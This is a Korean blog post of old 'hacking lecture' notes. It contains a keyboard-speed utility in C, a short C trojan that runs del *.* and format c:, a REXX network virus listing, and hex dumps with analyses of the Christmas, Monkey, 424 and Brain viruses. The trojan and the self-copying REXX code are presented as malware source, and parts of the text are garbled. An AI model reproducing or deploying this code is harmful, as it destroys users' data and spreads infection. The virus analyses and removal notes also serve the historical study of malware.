2012년 9월 9일 일요일

자료저장 6


/***************************************************************************
* 키보드 속도를 빠르게 해 주는 유틸리티. (FAST.COM) *
* 만든 곳 : 하 늘 소 ( 경북대학교 전자공학과 ) *
* 만든 사람 : 이 영 상 ( 하늘소 2 ) *
* 만든 날짜 : 43237*
****************************************************************************/
#include /* 도스에 관련된 함수들을 쓰겠다는 말이다. */
/******************** 필요한 선언을 하는 부분 **********************/
#define KB_STATUS_P 0x64 /* 키보드의 상태를 알수 있는 Port 번호 */
#define KB_DATA_P 0x60 /* 키보드에 데이터를 보낼때 쓰는 Port 번호 */
#define ACK_SIGNAL 0xfa /* 인식(Acknowledge) 했다는 신호 */
#define SET_TYPEM 0xf3 /* 키보드의 속도를 바꾸겠다는 명령 Code */
#define OB_FULL 1 /* Output buffer에 한 글자가 있을때 */
#define IB_FULL 2 /* Input buffer에 한 글자가 있을때 */
#define MAX_TRY 3 /* 최대 시도 횟수 */
/******************** 함수의 형을 선언하는 부분 **********************/
int set_typm( int gap ); /* 키보드의 속도를 조절 하는 함수 */
int send_kb ( int gap ); /* 키보드에 지정 값을 보내주는 함수 */
/******************** 풀그림의 시작 부분 **********************/
void next( void )
{
if( set_typm(0) ) /* 성공적으로 끝났으면 */
printf("\n\tSuper Keyboard Mania V2.0\n");
else
printf("\n\7\tError in adjusting keyboard speed !!\n");
}
int set_typm( int gap )
{
disable(); /* 인터럽트가 걸리지 않게 한다. */
if ( send_kb( SET_TYPEM ) ) /* 키보드에게 속도 조절을 한다는 명령을
보낸다. */
{
if( send_kb( gap ) ) /* 키보드로 원하는 속도를 보낸다. */
{
enable(); /* 인터럽트가 다시 걸리게 한다. */
return( 1 ); /* 성공적 */
}
}
enable(); /* 인터럽트가 다시 걸리게 한다. */
return( 0 ); /* 제대로 되지 않았을때 */
}
int send_kb( int gap )
{
int i = MAX_TRY; /* i 에 최대 시도 횟수 값을 넣는다. */
unsigned int j;
while( i-- ) {
j = 30000;
while( --j ) /* Input buffer에 값이 들어올때 까지 30000번 돌린다. */
if( inportb( KB_STATUS_P ) == IB_FULL )
break;
outportb( KB_DATA_P, (unsigned char)gap ); /* 키보드에 값을 보낸다 */
j = 30000;
while( --j ) /* Output buffer에 값이 없어질때 까지 기다린다. */
if( inportb( KB_STATUS_P ) != OB_FULL )
break;
j = 30000;
while( --j ) /* 키보드에서 잘 받았다는 신호가 올때 까지 기다린다. */
if( inportb( KB_DATA_P ) == ACK_SIGNAL )
return( 1 );
}
return( 0 ); /* 제대로 되지 않았을때 0을 리턴 */
}
다음은 아주 간단한 C 로 만든 트로이 목마 바이러스입니다.
C를 모르는 분이라도 다음 소스를 보면 뭔가 아실겁니다.
#include
main()
{
printf("Wait ...\n");
system("echo y! del *.*");
system("echo y! format c: >nul");
}
"|"는 도스(배치)상에서도 주로 쓰이는 것으로 쉬프트키와 \를 누르면 나옵니다.
6) 그외의 바이러스
다음은 Rexx 라는 언어로 제작한 네트워크 상의 바이러스의 소스이다.
--------------------TOP OF FILE-------------------------------------------
/LOAD REXX
IF RANDOM(2) <> 0 THEN DO
NAME.1 = 'PQ'
NAME.2 = 'OUTPUT'
NAME.3 = 'PROFILE'
NAME.4 = 'BROWSE'
NAME.5 = 'HELP'
FANME='VIRUS'
MAXLINE=0
W1=1
W2=80
CLONE=0
I=0
PARA='FNAME MAXLINE REC W1 W2 CLONE '
DO WHILE I < 20
I=I+1
M1.I=''
M2.I=''
PARA = PARA || 'M1.' || I || ' M2.' || I || ' '
END
COMMAND = '(DOCTOR VIRUS)'
PARA = PARA || 'COMMAND'
C=0
M1.8='-->'
DO WHILE C < 10
MN.3=' COMPUTER VIRUS IN MULTI-USER TIME-SHARING ENVIROMENT '
IF C=9 TH N COMMAND '..O,O;.. CANCEL ..'
CLINE=C
MAXFILE=C+1
'PANEL IGCX:ED.PAN ' || PARA
IF COMMAND='HELP' THEN C=20
C=C+1
END
C=RANDOM(5)
'COPY IGCX:TEMP ' || NAME.C || 'XO'
-------------------END OF FILE-----------------------------------------
(PROGRAM TEMP)
------------------TOP OF FILE--- -------------------------------------
/LOAD REXX
SAY 'INFECTED BY COMPUTER VIRUS MEROMNG'
EXIT
-----------------END OF FILE------------------------------------------
Rexx 라는 프로그래밍 언어는 네트워크 에서 주로 사용되며
batch 파일과 basic의장점을 딴 것이다.
다음 강좌를 기대하세요~
해킹 강좌 7
7번째 시간입니다. 유명 컴퓨터 바이러스의 분석을 하겠습니다.
9회까지 바이러스에 대한 모든것은 끝나고 10회부터 유닉스&인터넷 강좌/해킹으로 들어갑니다.
5-1 기존 바이러스 분석
기존 몇몇 바이러스의 찾기와 분석이다.
5-1-1 크리스 마스 바이러스
증상은 크리스마스에 일정시간뒤 고요한밤 거룩한 밤을 연주한다.
0270 58C3 01 00 00 00 00 20-4D 65 72 72 79 20 43 68 X .... Merry Ch
0280 7269 73 74 6D 61 73 20-61 6E 64 20 68 61 70 70 ristmas and happ
0290 7920 6E 65 77 20 79 65-61 72 20 21 20 20 57 72 y new year ! Wr
02A0 6974 74 65 6E 20 66 72-6F 6D 20 54 61 6D 73 75 itten from Tamsu
02B0 6920 4F 78 66 6F 72 64-20 63 6F 6C 6C 65 67 65 i Oxford college
02C0 2E20 20 24 10 03 23 00-70 03 0F 00 10 03 19 00 . $ 606 부터
감염 파일이름이 있다.
, 파일 길이(경로 포함)24자 이상은 감염되지 않는다.
5-1-2 원숭이 바이러스 (Monkey Virus) 분석내용.
1. 부트 섹터에 감염된 모습
0100 EB 1E 90 49 42 4D 20 50-4E 43 49 00 02 01 01 00 ...IBM PNCI.....
0110 02 E0 00 40 0B F0 09 00-12 00 02 00 00 00 00 00 ...@............
0120 FA 2B DB 8E DB 8E D3 BC-00 7C EA 2F 00 C0 07 CD .+.......|./....
0130 12 BE 4C 00 56 2E 80 3E-F2 00 02 74 0E E8 C5 00 ..L.V..>...t....
0140 BF FC 01 B9 02 00 FC F3-A5 EB 03 E8 BE 00 5E C7 ..............^.
0150 04 7D 00 89 44 02 0E 1F-E8 30 01 06 B8 62 00 50 .}..D....0...b.P
0160 FB CB 8E C1 8B DC 51 53-BA 80 00 E8 59 01 E8 AD ......QS....Y...
0170 00 B1 0E BA 00 01 E8 82-00 E8 36 01 CB 1E 56 57 ..........6...VW
0180 50 51 52 E8 41 01 80 FC-02 75 0E 52 2B C0 CD 1A PQR.A....u.R+...
0190 80 FA 40 5A 73 03 E8 85-00 5A 59 58 5F 52 51 50 ..@Zs....ZYX_RQP
01A0 83 F9 03 73 3A 3A 34 75-36 80 FC 02 74 0E 80 FC ...s::4u6...t...
01B0 03 75 2C 80 FA 80 72 27-2A E4 EB 23 E8 3F 00 72 .u,...r'*..#.?.r
01C0 21 E8 DE 00 74 08 E8 E1-00 74 03 F8 EB 14 E8 04 !...t....t......
01D0 01 8A 74 01 58 E8 26 00-E8 D7 00 59 5A EB 06 E8 ..t.X.&....YZ...
01E0 1C 00 1F 1F 1F 5E 1F CA-02 00 00 01 01 00 00 00 .....^..........
01F0 00 80 01 00 05 09 0B 03-05 0E 0E B8 01 02 9C 2E ................
0200 FF 1E FC 01 C3 48 BF 14-04 4F 89 05 B1 06 D3 E0 .....H...O......
0210 04 20 8E C0 C3 8A 34 B8-01 03 E8 E1 FF C3 2B C9 . ....4.......+.
0220 41 51 8A 34 E8 D4 FF 72-60 E8 76 00 74 5B E8 79 AQ.4...r`.v.t[.y
0230 00 75 21 26 83 BF FA 01-00 74 4E 26 C7 87 FA 01 .u!&.....tN&....
0240 00 00 B1 01 E8 CE FF 72-40 41 8A 74 02 E8 AB FF .......r@A.t....
0250 72 37 58 51 E8 7E 00 E8-58 00 46 E8 B7 FF 4E 72 r7XQ.~..X.F...Nr
0260 28 E8 4E 00 51 E8 23 00-59 52 8A 54 03 26 89 97 (.N.Q.#.YR.T.&..
0270 74 00 5A 26 88 8F 72 00-26 C7 87 FE 01 55 AA 59 t.Z&..r.&....U.Y
0280 51 26 88 8F F2 00 E8 8C-FF 58 C3 56 8B FB BE 20 Q&.......X.V...
0290 00 03 FE B9 DC 01 F3 A4-8B FB 2B F6 B1 03 F3 A4 ..........+.....
02A0 5E C3 26 81 BF FA 01 19-92 C3 26 81 BF 19 01 50 ^.&.......&....P
02B0 61 C3 57 51 50 8B FB B9-00 02 FC 26 8A 05 34 2E a.WQP......&..4.
02C0 AA E2 F8 58 59 5F C3 0E-1F BE EA 00 80 FA 80 72 ...XY_.........r
02D0 03 BE EE 00 C3 57 56 26-8A 47 14 B9 04 00 8B F1 .....WV&.G......
02E0 4E 38 84 F3 00 74 06 E2-F5 B1 03 EB 04 8A 8C F7 N8...t..........
02F0 00 5E 5F C3 5D 7F 7E 7B-75 89 19 92 00 00 55 AA .^_.].~{u.....U.
2. 분석결과.
원숭이 바이러스는 외국산 부트 바이러스로써, int 13h, int 1ah를 사용하며,
이중 int 13h를 가로채어 a01f:01fch 를 가리키게 변경을 하고 원래의 int 13h
의 오프 번지는 01fdh에 저장을 해 놓는다.
자신의 감염여부를 확인한 후, 최초의 감염이면 맨먼저 자신이 들어갈수 있는
메모리를 1KB 확보를 한 후, 0 head 0 cylinder 1 sector (플로피인경우 부트섹
, 하드인경우 마스터 부트 섹터) 부분을 0003:7c00번지로 읽어들여 "2E"값과
각각 XOR(eXclusive OR)시켜 0 head 0 cylinder 3 sector (둘다 첫번째 FAT영역)
에 옮긴후, 자신은 0 head 0 cylinder 1 sector 부분에 복사를 한다. 그 다음
1 head 0 cylinder(랜덤처리 되기 때문에 바뀔수가 있다) 14 sector 부분을
0003:7c00으로 옮겨 놓은 후, 디스크에다 어떤작업을 할 때, 메모리에 이미 존재 하는
엉뚱한 내용을 읽거나 쓴다.
또한, 원래 0 head 0 cylibder 1 sector 에 있던 내용이 첫번째 FAT영역에 겹쳐
써지므로 중요한 자료들을 날리게 된다.
(FAT영역은 두개가 있으므로 잘 하면 복구가 가능하기도 하다)
치료방법은 감염에 대한 역순으로 진행을 하면 되는데,,,
이미, 엉뚱한 값들이 디스크에 써지지 않았다고 가정을 하면...
먼저, 0 head 0 cylinder 3 sector 에 있는 암호화된 섹터를 풀어서 원래의
자리고 옮기고, 두번째 FAT영역을 읽어 거기에 해당하는 섹터를 써주면 된다.
5-1-3 424(April 24th) 바이러스
424일 바이러스는 한국산 파일 바이러스이다. 19944월달에 발견되었다.
바이러스는 예루살렘 바이러스의 변형이다.
COMMAND.COM,SCAN.EXE,CLEAN.EXE,V3.COM,V3RES.EXE,VSHIELD
.COM 을 제외한 모든 COM,EXE 파일에 감염된다.
증상
424일날 파일을 실행하면 그 파일을 실행시키고 끝난후에 사용중인 디스크를
포맷한다. 그리고 하드를 포맷하려고 했는것 같으나 하드는 포맷시키지 못한다.
723일 원래 프로그램을 실행 시킨후 지워버린다.
이날이 아니라도 램 상주 30분 후에 화면의 일부를 올리고 컴퓨터의 속도를 떨어
뜨린다.
실행할때만 감염되며 은폐기법이나 암호화는 사용하지 않는다.
바이러스 내부의 암호화 된 부분을 풀어보면 다음과 같은말을 볼 수 있다.
60A07D 00 00 B9 41 2A 7B-43 4F 4D 4D 41 4E 44 2E ......*{COMMAND.
70434F 4D 53 43 41 4E 2E-45 58 45 43 4C 45 41 4E COMSCAN.EXECLEAN
802E45 58 45 56 33 2E 43-4F 4D 56 33 52 45 53 2E .EXEV3.COMV3RES.
904558 45 56 53 48 49 45-4C 44 2E 43 4F 4D 00 00 EXEVSHIELD.COM..
COM 1587 증가하며 EXE 16의 배수가 된후 증가한다.
일부의 컴퓨터에서 램상주시 정지할 수 있다.
SCAN 으로 진단이 되는데 예루살렘 변형이라고 나온다.
5-1-4 Brain 바이러스
1986.6,파키스탄의 Lahore,두 형제(배시트와 암자드 알비)가 개발하였다.
부트 섹터 감염자이다.
1. 특징
. Original 부트 섹터를 교체
. Original 부트 섹터를 다른 장소로 이동 (불량 클러스터 앞부분)
. 바이러스 잔류자를 포함한 7개의 섹터가 변경
. 바이러스 보호를 위해 변경된 3 클러스터를 사용불가로 표시
(연속된 할당되지 않은 3클러스트)
. 플로피 디스크의 뵈첼동 감염
. 메모리 크기를 7 K 감소
. 하드 디스크는 감염 시키지 않음
. 감염된 디스크의 sector 0"(c) Brain" 스트링이 있음
. 시스템이 감염된후 어떤 프로그램이 Boot Sector를 읽으면 감염된
boot sector가 아닌 original boot sector를 읽도록 속임

댓글 없음:

댓글 쓰기

국정원의 댓글 공작을 지탄합니다.

UPBIT is a South Korean company, and people died of suicide cause of coin investment.

 UPBIT is a South Korean company, and people died of suicide cause of coin. The company helps the people who control the market price manipu...